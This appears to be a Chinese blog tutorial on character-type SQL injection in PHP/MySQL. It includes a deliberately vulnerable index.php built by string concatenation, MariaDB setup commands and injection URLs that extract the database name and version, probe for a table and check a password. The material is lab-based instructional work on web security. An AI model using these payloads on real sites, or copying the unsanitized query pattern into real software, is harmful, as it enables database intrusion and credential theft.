mysql create注入语句_SQL注入之PHP-MySQL实现手工注入-字符型

本文详细介绍了SQL注入的概念,特别是字符型注入的原理和实践。通过示例展示了如何利用单引号闭合的规则进行注入攻击,以及如何通过注入获取数据库信息和验证密码。还提供了一个简单的PHP MySQL注入实战环境,帮助理解字符型SQL注入的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。

什么是字符型注入以及原理

1)字符型注入简介:

字符串或串(String)是由数字、字母、下划线组成的一串字符。一般记为 s=“a1 a2 ···an ” (n>=0)。它是编程语言中表示文本的数据类型。

字符型注入就是把输入的参数当做字符串来对数据库进行查询,字符型注入在sql语句中都采用单引号括起来。

2)基本原理:

我们看看下面这条SQL语句:

$query="select first_name from users where id='$_GET['id']'";

这句SQL的语句就是基于用户输入的id在users表中找到相应的first_name,正常用户当然会输入例如1,2等等。但是如果有人输入这样的内容呢?

1' union select database() #;

这样的话这句SQL语句就变成了这样:

select first_name from users where id='1'union select database()#'

这样的话,我们不仅可以得到id=1的first_name,还可以得到当前数据库的相关信息,这是开发人员所没有想到的。以上只是一个简单的SQL注入的例子。

从根本上讲,当开发人员对用户的输入过滤不严,造成了用户可以通过输入SQL语句控制数据库,就会产生SQL注入漏洞。

简而言之,基于字符型的SQL注入即存在SQL注入漏洞的URL参数为字符串类型(需要使用单引号表示)。

字符型SQL注入的关键—–单引号的闭合

MySQL数据库对于单引号的规则如下:

a.单引号必须成对出现,否则数据库就会报错。

b.如果两个单引号之间内容为空,数据库自动忽略。

应用程序数据库的字符型SQL语句为:

select * from tables where idproduct=’ 13’;select * from tables where name=’ fendo’;select * from tables where data=’ 01/01/2017’;

字符型注入与数字型注入的区别

字符:除数字之外都是字符

数字:0-9

两种SQL语句的区别:

数字型: SELECT 列 FROM 表 WHERE 数字型列=值

字符型: SELECT 列 FROM 表 WHERE 字符型列=‘值’

字符型注入实战

构建练习环境

a.测试源码,放入/var/www/html/index.php目录下

$name=$_GET['username'];

$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库

if($conn){echo "连接数据库成功!";

}//判断连接是否成功

echo "
";

mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)

$sql="select * from user where username = '$name'"; //字符型搜索语句

$result=mysql_query($sql);while($row =mysql_fetch_array($result)){echo "用户ID:".$row['id']."
";echo "用户名:".$row['username']."
";echo "用户密码:".$row['password']."
";echo "用户邮箱:".$row['email']."
";

}

mysql_close($conn);//关闭数据库连接

echo "


";echo "你当前执行的sql语句为:"."
";echo$sql;?>

b.创建数据表结构如下.

[root@localhost html]# mysql -uroot -p

Enter password:

Welcome to the MariaDB monitor. Commands end with ; or g.

Your MariaDB connectionid is 61Server version:5.5.56-MariaDB MariaDB Server

Copyright (c)2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type'help;' or 'h' for help. Type 'c' to clearthe current input statement.

MariaDB [(none)]>create database fendo;

Query OK,1 row affected (0.00sec)

MariaDB [(none)]>use fendo;

Database changed

MariaDB [fendo]>create table user(-> id int not null,-> username varchar(100) not null,-> password varchar(100) not null,-> email varchar(200) not null

->);

Query OK,0 rows affected (0.07sec)

MariaDB [fendo]>MariaDB [fendo]> insert into user(id,username,password,email) values(1,'admin','fendo','1181506874@qq.com');

Query OK,1 row affected (0.00sec)

MariaDB [fendo]> insert into user(id,username,password,email) values(2,'lyshark','good','1181506874@qq.com');

Query OK,1 row affected (0.10sec)

MariaDB [fendo]> insert into user(id,username,password,email) values(3,'guest','goods','1181506874@qq.com');

Query OK,1 row affected (0.00sec)

MariaDB [fendo]>

c.访问以下网址,获得截图效果即可.

http://192.168.1.11/index.php?username=lyshark

f9679388858609ae916a150c51c09d9b.png

猜字段数

index.php?username=lyshark' union select 1,2,3,4 and '1'='1

3f8a4cab49bfea1bfc97971c1b18135d.png

上图可知,爆出1,2,3 接着更换SQL语句得出当前的数据库名字与数据库版本.

index.php?username=lyshark' union select database(),version(),3,4 and '1'='1

6b0a6410050654a2ad8652e8c645eb53.png

上图可以清楚的看到,我们的数据库版本,和数据库名称已经被脱裤子了.

猜表名

获取表名使用 '+and+(select+count( * )+from+表名)>0+and+''=' 这种格式。

index.php?username=lyshark'+and+(select+count( * )+from+user)>0+and+''='

47bcd52fd089a778ccfb5128598ff247.png

上图可以看到,并没报错,说明存在user这个表。

猜密码

index.php?username=admin' and password='fendo

2726a9b003f099ce1f390c0403721613.png

上图没报错,说明密码正确

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值